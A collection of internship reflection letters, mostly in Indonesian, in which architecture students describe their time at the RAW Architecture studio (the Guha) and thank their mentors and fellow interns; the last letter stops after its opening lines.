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Hai semuanya. Perkenalkan nama aku Ahmad Faqih Sadewa, boleh dipanggil Faqih atau Qih, asal jangan panggil dengan tiga huruf terawal ya hehe. Saya merupakan seorang mahasiswa jurusan Arsitektur yang sedang menempuh Pendidikan di Universitas Sriwijaya. Sedari kecil saya memiliki ketertarikan kepada dunia arsitektur, karena Menurut saya arsitektur dapat mendefinisikan seluruh aspek kehidupan yang ada didunia ini.

Hingga pada saat sedang menempuh Pendidikan di bangku SMA, Saya menempelkan sebuah kertas kecil yang bertuliskan “Architect soon”. Setiap harinya saya selalu memandangi tulisan itu, Yang baru saya sadari ternyata tulisan itulah yang menyemangati saya selama berproses di bangku SMA. Lalu kemudian kelulusan pun tiba. Setelah lulus dari bangku SMA, ternyata saya memiliki kebimbangan serta sedikit ketakutan apabila saya mengambil jalan hidup pada dunia arsitektur. Kebimbangan itu juga muncul dikarenakan saya memiliki ketertarikan juga dengan dunia seni. Hari itu menjadi hari – hari Dimana rasa bimbang terus menghantui. Namun pada akhirnya saya tetap memilih untuk mewarnai hidup di dunia arstiektur, dikarenakan menurut saya, saya masih bisa melakukan eksperimen seni yang dituangkan pada karya arsitektur dan juga mengingat kertarikan saya pada dunia arsitektur sangatlah besar.

Kemudian datanglah hari Dimana saya mulai berproses di dunia arsitektur di kampus tercinta. Saya sangat bersyukur dapat menjalani kehidupan di lingkup dunia yang dapat saya nikmati tanpa terbebani. Semasa kuliah saya sangat menyukai bangunan yang melakukan pendekatan terhadap alam baik itu dalam suatu bentuk ataupun fungsi. Hingga suatu hari, saat saya sedang membuka intagram saya menemukan akun @realricharchitectureworkshop, menurut saya saat itu cara RAW Architecture merancang bangunan sangatlah inspiratif, yang mana menginspirasi saya pada semasa perkuliahan.

Hari Dimana saya harus memulai kegiatan internship pun tiba. Dari jauh hari sebelum proses apply tiba, saya sudah sangat tertarik untuk dapat berproses di RAW Architecture. Pada tahap ini, saya merasa inilah titik terawal bagi saya untuk dapat melihat dan belajar bagaimana dunia arsitektur itu sebenarnya. Beruntungnya saya dapat diberi kesempatan untuk berproses dalam program internship di salah satu tempat yang saya favoritkan, yaitu RAW.

Sebelum datangnya hari untuk memulai kegiatan internship, banyak sekali kekhawatiran berdatangan sebelum memulai. seperti kekhawatiran saya untuk dapat menyesuaikan untuk hidup sendiri di kota orang, karena kegiatan internship ini merupakan my very first far from home experience. Lalu sebelum memulai saya juga memiliki kekhawatiran terhadap penyesuain diri di lingkungan kerja di RAW nanti.

Setelah kegiatan internship dimulai ternyata semua kekhawatiran yang saya pikirkan itu berbanding terbalik. Saya dipertemukan dan dikelilingi dengan orang – orang yang sangat supportif. Sehingga hari demi hari yang dilewatkan terasa sangat menyenangkan untuk dijalani.

Selama saya berproses di RAW Architecture saya banyak sekali mendapatkan ilmu dan pengalaman yang menurut saya sangat berharga dan belum tentu bisa saya dapatkan ditempat lain. Di RAW saya juga dapat belajar mengenai dinamika waktu dalam kerja yang cukup challenging, sehingga dapat membantu saya untuk dapat lebih berkembang. Lalu selama saya berproses disini saya merasa sangat beruntung dikarenakan saya dapat dibimbing dengan kakak – kakak yang sangat supportif dan sabar dalam berbagi ilmu. Selain itu keterbukaan yang ada pada lingkungan RAW seperti tawa, canda, gurauan, bertukar cerita, makan bareng, hingga jajan bareng Bersama kakak – kakak dan temen – temen intern lainnya akan selalu menjadi memory core yang akan selalu dikenang sampai nanti.

Lastly, saya ingin mengucapkan terimakasih banyak kepada kak Rich dan kak Yudith telah memberikan kesempatan yang sangat berharga ini kepada saya untuk dapat menuntut ilmu di RAW Architecture. Kemudain saya ingin mengucapkan terimakasih banyak kepada kakak – kakak, yaitu kak mel, kak chai, kak Richie, kak Tyo, kak uung, kak sultan, kak ikhsan, mas Benk, kak Riyan, kak Aul, kak Shaf, kak Ingrid, kak Ala, kak meizzhan, kak zikri, kak ezra, kak Irfan, kak yusrul, bang zyadi, kak gabby, kak putra, kak a cha, kak revi, ci mei, kak joshi, kak kamil, kak nielson, kak Haykal, kak Timbul, kak lulu, dan lainnya yang selalu terbuka dan selalu bersedia untuk berbagi ilmu serta memberikan nasihat kepada saya. Serta saya juga ingin mengucapkan terimakasih kepada teman – teman seperjuangan internship di RAW yang sudah berbagi banyak sekali kenangan Bersama.

Sekali lagi saya ingin mengucapkan terimakasih kepada semuanya atas semua kenangan, ilmu dan kesempatan yang diberikan. Dan terimakasih banyak sudah bersedia menjadi bagian dalam perjalanan hidup saya untuk berproses di dunia arsitektur. Semoga kita semua dapat dipertemukan lagi di lain waktu.

Lots of love, Ahmad Faqih Sadewa

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Haloo semuaa! Saya Hasanub Basriyah Herdi telah menyelesaikan Internship Program selama 6 Bulan di RAW Architecture. Pada awalnya kenapa pilih RAW Architecture, saat saya semester 2, saya sangat beruntung dapat dibimbing langsung oleh Kak Rich sebagai dosen pembimbing saya di mata kuliah Teknik Bangunan. Saat itu saya banyak belajar dan kagum dengan bagaimana cara Kak Rich mengajar, selalu ada Pelajaran yang kita dapatkan setiap sesi bimbingan bukan hanya soal arsitektur namun juga kehidupan. Saat itu saya juga mendapatkan kesempatan untuk mempelajari Guha the guild langsung dipandu oleh Kak Rich sendiri, makin kagum, tertarik dan makin penasaran bagaimana ya cara saya bisa belajar disini. Sejak saat itu saya bertekad untuk melakukan internship di RAW Architecture.

Saat Awal Magang di RAW saya banyak mengagumi bagaimana berjalannya suatu Proyek, bagaimana cara berpikir untuk mencapai design yang ibaratnya RAW banget tapi tetap sesuai dengan keinginan client. Awal ini saya harus mengerti dan menyimak bagaimana sistem kerja disini. Perasaan saya cukup kaget, dan wah ternyata kerja tuh gini yaaa…

Setelah melewati masa adaptasi dan sudah mulai mengerti dan menerapkan apa yang diajarkan kakak-kakak designer, pola pikir saya yang perlahan terbentuk. Awal saya sering terpikir ohh Kak Rich kalo desain ciri khas nya kayak gini ya.. tapi semua berubah menjadi ohh Kak Rich punya ciri khas ini untuk menyelesaikan permasalahan ini ya.. Saya menyadari beberapa ciri khas yang RAW banget itu merupakan salah satu bagaimana menyelesaikan suatu permasalahan, yang mungkin kalo dipikiran diri saya yang dulu hal itu hanya sebuah fitur saja.

Saya adalah sebuah gelas kosong yang menerima begitu banyak air saat melakukan internship di RAW merasakan bagaimana proses pengembangan desain di Tim Kak Riyan, merasakan bagaimana rasanya meeting bersama client, melihat progress langsung sebuah proyek dibangun, merasakan bagaimana membuat gambar kerja yang baik dan tepat, merasakan bagaimana rasanya melihat kakak – kakak berkoordinasi dengan Tim lapangan di Tim Kak Melisa dan Tim Sky. Begitu banyak Pelajaran yang saya dapatkan disini. Kalo ibarat nya belajar disini tuh kayak “Palu Gada” “apa yang lu mau pelajarin, RAW ada”.

Saat saya magang disini tidak hanya diajarkan tentang seputar proyek dan arsitektur saja. Disini saya juga mendapatkan Pelajaran mengenai kehidupan, pola pikir yang harus dibentuk untuk menghadapi masa yang akan datang, keluar dari nasihat nasihat Kak Rich dan Kakak – Kakak RAW kepada diri saya. Saya ingin berterima kasih kepada Kak Rich, Kakak – kakak designer di RAW yang telah memberikan saya kesempatan untuk mendapatkan pengalaman dan mengajarkan saya banyak ilmu di sini dan memberikan saya begitu banyak kenangan yang sangat berarti buat saya. Aku sudah rindu.

Terima kasih RAW

Salam Hangat,
Hasanub Basriyah Herdi

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Hai semuanya! saya Muhammad Muhaimin, seorang mahasiswa semester 7 dari Universitas Sriwijaya. Pertemuan saya dengan RAW Architeture dapat dikatakan sebuah keberuntungan yang tidak disengaja, diawali dengan mencari referensi untuk tugas kuliah dan menemukan sebuah studio yang memiliki keunikan dari konsep perancangannya yang menekankan terhadap bioklimatik dan berkelanjutan. Dalam reflection letter yang saya tulis ini saya ingin menceritakan dan mengungkapkan perasaan yang saya rasakan selama menjadi salah satu internship di RAW. Pertama-tama saya ingin menyampaikan rasa terimakasih kepada kak rich, teman-teman dan kakak-kakak yang telah menerima serta membimbing saya selama kurang lebih tiga bulan yang menyenangkan ini.

Pengalaman tiga bulan yang terasa singkat namun berarti ini tidak hanya memberikan saya pengetahuan dan keterampilan baru dalam berarsitektur namun juga memberikan saya Pelajaran tentang bagaimana cara berkomunikasi dan bekerjasama dalam tim. Bekerja dalam sebuah studio terasa sangat berbeda dengan kuliah, jujur saja awalnya saya agak kesulitan dalam menyesuaikan diri dengan kehidupan studio, untungnya ada teman-teman dan kakak-kakak RAW yang selalu membantu dan membimbing saya tidak hanya dalam hal pekerjaan namun juga dalam hal cara bersosialisasi yang membuat saya merasakan rasa kekeluargaan yang mungkin tidak bisa ditemukan di tempat kerja yang lain.

Saya ingin mengucapkan terimakasih kepada kakak-kakak dari tim sky dan benteng yang sudah mengajarkan saya banyak tentang detail dan struktur dari sebuah bangunan serta mengajak saya untuk melihat langsung kondisi kerja lapangan yang sebelumnya tidak saya dapatkan di perkuliahan. Saya juga ingin mengucapkan terimakasih kepada kakak-kakak dari tim bambu meskipun saya hanya sebentar di bambu namun tetap diberikan ilmu yang berarti.

Terakhir saya ingin mengucapkan sekali lagi terima kasih kepada kak realrich dan kak yudith yang sudah memberikan saya kesempatan untuk bergabung Bersama RAW Architecture, serta kakak-kakak dan teman-teman intern lainnya yang sudah memberikan saya pengalaman, ilmu, dan kenangan yang akan saya selalu ingat dalam kehidupan saya. Saya berharap ini bukan menjadi akhir dari sebuah pertemuan namun menjadi awal dari pertemuan itu sendiri. See you all, I hope the best for everyone.

Salam Hangat,
Muhammad Muhaimin

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Halo, saya Lulu Farahdina, mahasiswa arsitektur dari Universitas Sriwijaya. Selama kurang lebih 2,5 bulan berada di RAW Architecture, saya merasa sangat bersyukur karena mendapatkan pengalaman yang luar biasa disini. Saya banyak belajar hal baru selama berada di RAW, khususnya mengenai perspektif saya tentang arsitektur yang ternyata sangatlah kompleks dalam melibatkan tim arsitek, client, dan bangunan itu sendiri. Perlu pemikiran, kerja keras, dan waktu yang panjang untuk membentuk mahakarya yang memuaskan. “It’s important to see wider and closer at the same time to break the challenge and find the solution” adalah salah satu kalimat yang membekas dari Kak Rich saat membagikan ceritanya untuk designer dan intern di RAW.

Pengalaman intern ini akan menjadi pengalaman yang tak terlupakan dalam perjalanan hidup saya. Di tempat ini membentuk pribadi saya untuk berkembang lebih baik dalam hal teknis, komunikasi, dan mental dibimbing oleh kakak-kakak RAW yang sangat welcome dan menjelaskan dengan detail hal-hal yang terkadang masih baru untuk saya. Awalnya saya sempat merasa takut dan rendah diri untuk belajar, namun seiring berjalannya waktu serta dorongan dari kakak-kakak RAW membuat saya kembali termotivasi dan bersemangat untuk belajar hal baru yang tidak saya dapatkan di dunia perkuliahan. Saya merasa sangat senang berada di lingkungan yang se-positif ini, yang memberikan saya banyak ilmu tentang arsitektur yang sesungguhnya.

Untuk Guha, tempat ini sudah seperti rumah kedua saya di perantauan. Semua orang sangat seru terutama ketika jam makan siang. Bercanda bersama teman-teman intern dan kakak-kakaknya bisa membuat mood seketika jadi happy banget. Ruang-ruang di Guha seperti di Bambu, Benteng, Sky, Ruang Makan, Omah Library, sampai di depan Toilet pun punya ceritanya masing-masing untuk saya yang tidak akan pernah terlupakan. Gak terasa 2,5 bulan ternyata selesai secepat ini, mau say thank you untuk Kak Rich, Kak Yudith, and team for giving me the opportunity to learn dan grow here. I feel so blessed to have been a part of RAW Architecture. Thankyou juga untuk teman-teman Unsri dan intern lainnya (Leni, Faqih, Tria, Muhaimin, Raissa, Syahla, Nico, Qybar, Gustav, Kak Keke, Zhevan, Laura, Helga, Basriyah, dll) yang selalu haha hihi bersama.

And for the last, please kindly check my progress ya kak, Thank you so much ・┆✦ʚ♡ɞ✦ ┆・

Kamil, Kak Yusrul, Kak Ezra, Kak Irfan, Kak Nielson, Kak Putra, Ci Gaby, Ci Mei, Kak Revi, Kak Acha, Kak Haykal, Kak Lulu, Bibik, dll

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Dengan hormat,

Saya ingin menyampaikan ucapan terima kasih yang sebesar-besarnya kepada RAW Architecture yang telah memberikan saya kesempatan magang selama 2,5 bulan. Pengalaman yang saya dapat selama menjalani program magang begitu berharga dan memberikan saya pengetahuan mendalam mengenai arsitektur serta diterapkan langsung pada proyek nyata, yang sebelumnya hanya saya pelajari selama masa kuliah.

Sebelumnya saya akan menceritakan perasaan saya saat pertama kali menginjakkan kaki di Guha. Hari pertama saya merasa sedikit gugup dan belum bisa bersosialiasi dengan semuanya, sehingga saya membutuhkan waktu beberapa hari untuk mulai terbiasa dengan lingkungan sekitar. Seiring berjalannya waktu, saya merasa nyaman terutama dengan kakak-kakak di RAW yang begitu baik dan tidak pelit ilmu. Saya banyak mendapat energi positif dari kakak-kakak RAW, sehingga jam kerja terasa tidak membosankan karena selalu ada canda tawa disetiap harinya.

Selama periode magang, saya terlibat dalam berbagai proyek yang sangat menakjubkan dan memberikan saya pemahaman tentang proses desain dari tahap awal hingga akhir, yakni dari konseptual hingga teknis pada lapangan. Dari pengalaman ini saya belajar bagaimana cara membuat konsep yang baik, tertata dan dapat diwujudkan menjadi bangunan nyata yang fungsional dan memiliki nilai estetika tinggi. Proyek-proyek yang saya ikuti membuat saya berfikir lebih kritis dan memiliki banyak ide dalam hal teknis maupun estetika. Selain itu, saya juga beberapa kali mendapat kesempatan site visit, meeting dengan owner, vendor, dan kontraktor. Kesempatan ini mengajarkan saya bagaimana cara berkomunikasi yang baik dengan klien.

Salah satu pelajaran penting bagi saya adalah bagaimana proyek itu akan memiliki berbagai revisi pada setiap detail aspeknya. Hal ini menyadarkan saya bahwa setiap detail dari desain sangatlah penting dan semuanya akan diperhitungkan agar tidak terjadi kesalahan. Mulai dari gambar-gambar kerja, pemilihan material, pemilihan furniture, dan lain-lain mengajarkan saya untuk lebih berhati-hati dalam berucap dan mengambil Keputusan, karena setiap keputusan kecil akan memiliki dampak terhadap proyek.

Pengalaman bekerja secara nyata dengan tim RAW memberikan saya banyak wawasan terutama dalam hal berkomunikasi dan kolaborasi. Saya sadar, jika suatu proyek tidak tergantung pada kemampuan individu saja melainkan dengan adanya kolaborasi satu sama lain sehingga terciptanya berbagai ide yang disatukan untuk menghasilkan solusi dari tiap permasalahan pada proyek. Selain itu, saya juga belajar bagaimana pentingnya mengelola waktu terutama dalam dunia arsitektur yang terikan dengan tenggat waktu, sehingga memotivasi saya untuk bekerja serta berusaha lebih efektif agar setiap hal yang dikerjakan pada tiap waktunya itu bermanfaat.

Selama masa magang ini pastinya saya memiliki beberapa tantangan terutama dalam menyesuaikan diri dengan cara kerja RAW. Namun, dengan bimbingan kakak-kakak saya menjadi terbiasa dan dapat menyesuaikan diri dengan hal itu. Selain itu, saya juga belajar mengenai etika, tanggungjawab, dan profesinal ketika bekerja dengan siapapun dan tugas apapun. Dengan hal ini, saya semakin menghargai bagaimana arsitek memberikan upayanya untuk menghasilkan yang terbaik. Hal ini juga mendorong dan memperkuat keinginan saya untuk terus mengembangkan diri dalam bidang ini. Secara pribadi, magang di RAW memberikan dampak positif yang besar bagi perkembangan dan pengetahuan saya. Saya merasa pengalaman ini mengajarkan bagaimana pentingnya terbuka terhadap kritik dan saran.

Sebagai penutup, saya ingin menyampaikan terima kasih yang sebesar-besarnya kepada seluruh keluarga Guha terutama kak Rich dan tim RAW yang telah memberikan ilmu, nasihat, bimbingan, dukungan serta memberikan saya kesempatan untuk belajar di studio yang begitu nyaman, menarik, fungsional, dan estetik. Oleh karena itu, saya sangat menghargai setiap momen dan pesan-pesan berharga dari kak Rich. Saya berharap dapat menjalin hubungan baik dengan RAW di masa mendatang, dan semoga saya bisa memberikan kontribusi yang lebih besar dalam bidang ini.

Semoga RAW Architecture terus sukses, berkembang, dan terus menciptakan karya-karya menakjubkan, menginspirasi, inovatif, fungsional, dan berdampak positif bagi masyarakat dan lingkungan, serta menajdi tempat tumbuh bagi para arsitek muda untuk belajar dan berkarya.

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Pembelajaran arsitektur merupakan sebuah perjalanan yang tiada habisnya, sama halnya dengan 99% GUHA. Itulah yang saya rasakan ketika “mencicipi” langsung dunia praktik arsitektur sebagai Intern di RAW Architecture. Setiap proyek, setiap klien, dan setiap tahap dalam desain membawakan sesuatu yang baru. Begitu kaya pengalaman yang saya peroleh tidaklah cukup digambarkan melalui refleksi singkat ini, melainkan ini menjadi sebuah ungkapan rasa syukur dan terima kasih kepada semua rekan-rekan GUHA Family.

Halo teman-teman! Saya Nicolas Ciu, kerap dipanggil Nico, mahasiswa semester 7 dari Institut Teknologi Bandung. Keputusan saya untuk magang di RAW Architecture memang sudah ada di benak saya sejak tahun-tahun lalu. Beberapa kali sempat berubah pikiran, tetapi apa yang menjadi keinginan terdalam akan tetap terlaksana. Singkat cerita, saya diterima menjadi RAW Intern di liburan antar semester yang singkat ini. Selama kurang lebih 2.5 bulan, saya berkesempatan untuk turut serta berkontribusi dan belajar dari RAW Architecture.

Mengawali perjalanan singkat saya di RAW, saya cukup gelisah dan terkejut dengan dinamika yang terjadi di sebuah biro arsitektur. Semua berjalan begitu cepat dan kompleks. Terlebih lagi, saya tidak terbiasa dengan software-software yang digunakan, padahal seharusnya kemampuan itu menjadi kemampuan yang basic. Akan tetapi, saya sangat beruntung karena kakak-kakak designer dengan sabar dan tulus mengajari saya software-software tersebut hingga saya terbiasa, bahkan sampai ke detail-detail command shortcut. Lingkungan kerja yang dibawakan di RAW membuat saya merasa nyaman belajar dan bertanya kepada kakak-kakak designer. Di sela-sela pertanyaan itu juga muncul diskusi diskusi singkat yang memperluas wawasan saya terkait praktik arsitektur.

Proyek-proyek rumah menjadi “highlight” dari pengalaman saya di RAW Architecture. Saya selalu tertarik dengan rumah tinggal yang kerap memiliki karakteristik yang beragam dan menjadi cerminan dari penghuninya. Tipe proyek yang tadinya saya anggap lebih mudah dibandingkan tipologi lainnya, namun begitu dinamis dalam realisasinya. Saya sadar bahwa mendesain dan membangun rumah merupakan salah satu hal tersulit yang dapat dilakukan oleh arsitek. Hal ini mengingatkan saya pada kata-kata dari almarhum Bapak Eko Prawoto bahwa membangun rumah merupakan hal yang sakral bagi keluarga. Tidak semua orang memiliki kesempatan dan keberuntungan untuk membangun rumah impiannya dan kalaupun iya, membangun rumah merupakan hal yang sangat jarang terjadi dalam hidup manusia. Oleh karena itu, momen penting ini menjadi tanggung jawab besar arsitek.

Terdapat banyak hal yang saya pelajari di sini, yang tidak bisa saya dapatkan selama kuliah. Salah satunya adalah mengunjungi proyek yang sedang dalam proses konstruksinya, melihat langsung apa yang digambar direalisasikan di dunia nyata. Saya sangat bersyukur saya mendapatkan cukup banyak pengalaman kunjungan ke proyek bersama kakak-kakak designer. Selain mempelajari terkait progres dari proyek tersebut, kakak-kakak juga sering menceritakan pengalaman dalam berbagai tahapan konstruksi dan selama bekerja sebagai designer. Selain itu saya juga berkesempatan mengerjakan gambar-gambar teknis, seperti gambar MEP yang tidak saya peroleh selama kuliah. Gambar-gambar detail teknis ini walau berskala kecil dapat mempengaruhi kemampuan desain dalam skala yang lebih besar.

Selain itu, salah satu hal yang baru saya sadari setelah memulai Internship di RAW Architecture adalah bagiamana arsitek dapat memposisikan dirinya sebagai sebuah konsultan, tidak hanya seorang designer. Hal ini menjadi menarik bagi saya karena kemampuan desain masih dapat dilatih selama kuliah, tetapi kemampuan berkonsultasi hanya dapat dipelajari di sebuah biro konsultan arsitektur. Saya bersyukur dapat mempelajar sedikit bagaimana Kak Rich dan kakak-kakak designer berkomunikasi dengan klien dan menuntun klien untuk memperoleh desain impiannya. Sering kali posisi arsitek sebagai konsultan terlupakan, padahal inti dari profesi arsitek adalah mendesain untuk manusia.

Mengakhiri masa Internship ini, saya ingin mencupakan terima kasih yang sebesar-besarnya untuk Kak Rich dan Kak Yudith atas ilmu dan kesempatannya; kepada Kak Riyan, Kak Ala, Kak Zikri, Kak Meizzhan, Kak Joshi, Kak Gaby, Kak Revi, Kak Putra, dan kakak-kakak designer lainnya yang telah berbagi ilmu dan pengalamannya; dan akhirnya kepada teman-teman Intern Faqih, Imin, Lulu, Tria, Leni, Raissa, Syahla, Laura, Kak Keke, Zhefan, Ken, dan masih banyak lagi karena telah menjadi sobat seperjuangan yang membuat suasana keseharian menjadi lebih asik dan bermakna. Semoga kita semua dapat terus berkembang menjadi pribadi terbaik dari masing-masing diri kita. Sampai jumpa di lain waktu!

Salam Hangat,
Nicolas Ciu

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Hello! I’m verra, 3rd year student at Hanyang University in South Korea. I’m doing my studies while the coronavirus affected all of our environment and school life as well. Although offline classes finally reopened, there’s no exhibition or something that I can work with. I look back at my portfolio and it’s just like a monochrome, too ordinary. I realized I lacked of exploration and experience in the architecture world. Nevertheless, I want to do my graduation project with absolute confidence and delight. That’s why I took 1 year absence from school, decided to get into RAW as my first journey.

I redo my portfolio and designed it compactly in the best way that I could, only to apply to RAW. I checked on their website many times and it makes me won’t lose that chance for sure. There’s something that makes me realize this company is the one. Because they have such a characteristic that I love when designing a structure. The curve, a simple one but harder than it looks. Honestly, I’ve been struggling when designing curvy things since Korean prefer simplicity. I mean, I’m not enough to have a chance to observe deep into curvy structures. I just hope I have an opportunity to learn more about it.

 Finally, on 5 July 2023, the first day of my internship program began. I exactly remember I was overthinking about the work environment, and how if I’m not qualified to match their standard. But I’m totally wrong, they just like a home. They welcome everybody who wants to put a single effort into every project. At first, I am struggling a lot to program a couple of software that I’m not used to. And was shocked cause I have to be flexible to jump right into another project for the upcoming deadline. And felt stressed, hoping that my contract completed as soon as possible. But as time goes by I end up enjoying this kind of work so much. Especially, when I visited a site. There’s a lot of things that I got. I learned how to be more patient, learn how to be an unequivocal person, and be accurate over small details which is something that I lack of.

I would say within a short time which almost the past 3 months growing up together with RAW, such a memorable thing, I won’t forget. I just want to say thank you to Kak Yudith and Kak Rich for the opportunity that maybe I couldn’t get out there, And for all the seniors and friends who helped me grow and push beyond my limit to be a better designer one day.

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Reflection Letter:

memayu hayuning bawana;

salah satu filosofi Jawa yang berarti membuat dunia menjadi lebih indah. Hal yang sama ketika saya menjalani hari-hari saya sebagai internship di RAW Architecture. Arsitektur yang saya pahami ketika berkuliah ternyata jauh lebih inklusif dengan berbagai komposisinya yang membuat kehidupan menjadi lebih indah.

Saya berterimakasih kepada Kak Rich, Kak Yudith, Kak Caroline, Kak Riyan, Kak Audy, Kak Tyo, Kak Haykal, Teh Al, Kak Timbul, Kak Mei, Mas Halim, Kak Putra, Bang Rico, Kak Joshi, Bang Khafyd, Kak Mellisa, Kak Gaby, Kak Irfan, Kak Zikri, Kak Meizhan, Kak Chai, Kak Janice, Kak Ala, Kak Zyadi, Kak Angel, Kak Yusrul, Kamil, dan teman-teman intern lainnya tak bisa saya sebutkan satu persatu. Saya mendapatkan kesempatan yang berharga menjadi bagian dari keluarga RAW Architecture, belajar bersama dan membuka mata dan hati saya untuk lebih memahami dan memaknai arsitektur. Sebuah kehormatan bagi saya seorang mahasiswa yang masih buta terhadap dunia arsitektur praktisi untuk mencicipi secara singkat bagaimana arsitektur diimplementasikan dalam kehidupan.

Di masa awal magang, saya sangat terkejut dengan dinamika di dalam studio karena semua hal seolah-olah bergerak dengan sangat cepat. Namun, berkat bantuan dan lingkungan yang mendukung membuat saya mampu beradaptasi di dalam keluarga baru saya. Kakak-kakak di studio tidak pernah merasa terganggu dan tebuang waktunya untuk menjelaskan berulang kali ilmu-ilmu arsitektur kepada para intern. Kesabaran dan kegigihan di dalam studio tentunya akan membuahkan hasil dalam “bloody battle” yang sering dikatakan Kak Rich. Tentunya, ilmu hardskill dan softskill yang berimbang dalam dinamika RAW Architecture menghasilkan proyek-proyek terbaik dalam perkembangannya. Melalui RAW Architecture saya belajar bahwa di setiap karya terdapat andil dari berbagai pihak yang saling melengkapi. Konsep yang dirumuskan tim di benteng, perihal lapangan dan detail oleh tim di bambu, para mandor dan kuli yang bekerja dengan hati, hingga tim omah yang selalu membuat inovasi menjadikan dunia di dalam RAW Architecture berputar dengan begitu indah.

Memasuki akhir dari masa magang, ada perasaan sedih yang tiba-tiba hadir. Sedih karena berakhirnya masa untuk mencari ilmu dan sedih karena harus berpisah dengan keluarga baru saya. Kehangatan, canda tawa, dan bertukar cerita yang menghiasi hari-hari di dalam RAW Architecture akan hilang seketika. Namun, semua cerita dan kenangan di RAW Architecture akan selalu punya tempat di hati dan pikiran saya.

Saya berharap di kemudian hari kita dapat

bertemu kembali

bekerjasama kembali

bertukar cerita kembali

di masa masa yang lebih baik

di mana kita tentunya menjadi pribadi yang lebih baik pula

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Reflection Letter:

Halo semua, kak Rich, kakak-kakak RAW, teman-teman magang yang lain, ataupun orang yang kebetulan menemukan dan membaca surat ini apa kabar? Semoga semua selalu diberikan kebaikan dan kesehatan, saya Edho Baron Mack. Mahasiswa arsitektur Universitas Pelita Harapan. Surat refleksi ini saya buat lebih ke apa yang ingin saya ungkapkan dan saya rasakan selama saya diberikan kesempatan intern di RAW, baik yang tak dapat ataupun tertunda untuk diungkapkan. Jika saya renungkan, tak habis pikir. Apa yang sudah saya lakukan dan kerjakan dapat membawa saya sampai saat ini. Seorang mahasiswa tahun kedua yang hanya “iseng” dan “beruntung” mungkin dua kata ini cocok untuk menjelaskan saya secara singkat yang membuat saya bisa berada dalam “ekosistem” RAW. “Iseng” hanya berbekal keinginan dan ketulusan serta dorongan hati yang merasa kurang untuk selalu ingin belajar memperbaiki kekurangan dan merasakan hal yang baru dengan kesadaran diri akan banyaknya kekurangan dan ketidakmampuan saya yang notabenenya belum bisa apa-apa mendapatkan. Sebuah ke“beruntung”an karena sampai sekarang tak terpikirkan bagi saya, kenapa saya bisa diberikan kesempatan untuk menjadi bagian dalam “ekosistem” yang membentuk keluarga didalamnya.

“Ekosistem” yang menciptakan dan membentuk banyak sekali warna-warni di dalam monokromnya Guha. Singkat cerita tentang ungkapan banyaknya perasaan yang tak dapat terdefiniskan seluruhnya, banyak hal saya dapatkan selama belajar di dalam guha terlepas dari banyaknya hal dan pembelajaran arsitektur yang didaptakan, saya menemukan sisi lain yang membuat arsitektur menjadi dapat dinikmati dan menyenangkan bagi saya. Tidak lain tidak bukan adalah “ekosistem” di dalam guha.

Saya menemukan lingkungan yang membuat saya terus terdorong untuk terus melakukan apapun yang semaksimal mungkin dilakukan dengan keterbatasan, saya sambil mengasah kemampuan untuk keluar dari batasan itu. Dinamika dan fase yang begitu cepat bergerak naik turun tak terasa sangat dinamis dalam pekerjaan, selalu siap dalam keadaan apapun. Membentuk kesiapan dengan apapun yang akan terjadi. Tentunya banyak pembelajaran dan transparansi di dalam lingkup pekerjaan. Selain itu sisi lain yang sangat berkesan adalahKeterbukaan dan dukungan dari kakak-kakak dan teman-teman yang membangun rasa nyaman dan diterima menjadikan faktor lain yang membedakan “ekosistem” ini. Banyak pembelajaran hidup yang saya terima dari proses intern disni dari kakak-kakak yang menyempatkan diri untuk ngobrol bertukar dan memberikan cerita/nasihat untuk banyak membuka pemikiran dan perspektif saya akan suatu hal.

Sebagai penutup, saya ingin mengucapkan terima kasih kepada semua kakak-kakak dan teman-teman yang telah memberikan panduan,nasihat, dan pembelajaran. Pengalaman ini telah membentuk saya, bukan hanya sebagai seorang mahasiswa arsitektur, tetapi juga sebagai seorang individu yang tumbuh menjadi lebih percaya diri. Saya sangat beruntung telah diberikan kesempatan untuk menjadi bagian dari RAW. Bukan hanya tentang pekerjaan, tetapi tentang pengalaman hidup. Saya berharap pengalaman ini akan terus memengaruhi pertumbuhan saya ke depan, dalam pertumbuhan menjadi individu yang berguna dan berdampak baik. Semoga kedepan di lain kesempatan saya bisa bertemu kembali dengan kakak-kakak dan teman-teman. Semoga kita semua dapat terus berkembang dan menjalin hubungan kembali di masa depan.

Terima kasih lagi atas dukungan dan kebaikan yang telah diberikan. Saya sangat berterima kasih dan merasa diberkati. Terima kasih juga untuk kak Riyan yang sudah berpegang kepercayaan terhadap saya dan tetap mengambil/menerima resiko dan juga selalu mendorong saya untuk menjadi lebih baik dan keluar dari batas saya. Terima kasih juga untuk Kak Rich yang sudah memberi dan membukakan jalan dan kepercayaan untuk saya.

Semoga kebaikan selalu menyertai kita semua

Salam dari saya, Edho Baron Mack

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Reflection Letter:

Hi, my name is Rainandi Pambayu, but you can call me Rei. I’m a third year undergraduate studying Architecture at Sriwijaya University. I applied my portfolio here already knowing that I had interest in bioclimatic architecture and all those honest material that RAW Architecture brought to their design. Luckily I got the chance to be part of RAW Architecture as an internship student, the place that I love, the place that I’ve been dreaming of, and over the course of my internship time I realized that I have grown and learned more than I thought possible.

Here in The Guha I have learned so many many things in short amount of time, such a beautiful place to study new things and a beautiful experience to remember. And of course the people, they were all super-kind-welcoming person yet so professional at their work. My mentors in Benteng taught me about developing the design properly with a lot of exercises and discussions. They also taught me how to present the design with good communication. My mentors in Bamboo taught me how to be precise, accurate, and critical. And also Kak Rich, he taught me how to be a very cool architect in white, all of his work, attitude, and motivational words will forever be my favorite.

When I started studying architecture I used to pay attention only for the visual, however I quickly found out that architecture was so much more than that, it’s RAW Architecture that pushed me to the next level of understanding it. Thank you Kak Rich for giving me this opportunity, thanks to all my mentors for giving me priceless lessons, thanks to my new friends that I met here I love you guys so much especially Taro The Hamster ewh, thanks to everyone inside The Guha and Omah for the memory. Lastly thanks to my new RAW Architecture family for reading this, I hope you guys get what you looking for in life, see ya on top!

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Reflection Letter:

Holla nama saya Heru Setya Budi seorang pelajar yang sedang mencari dunia yang menyenangkan untuk menuangkan ide ide dalam sebuah eksperimen dan menghasilkan suatu karya yang bisa dinikmati bagi semua orang. Lahir di jawa tengah khususnya di kota Rembang dan tumbuh di kalangan orang orang yang menjunjung tinggi adat dan budaya. saya sangat bahagia karena merupakan bagian dari mereka yang selalu melestarikan adat dan budaya leluhur.

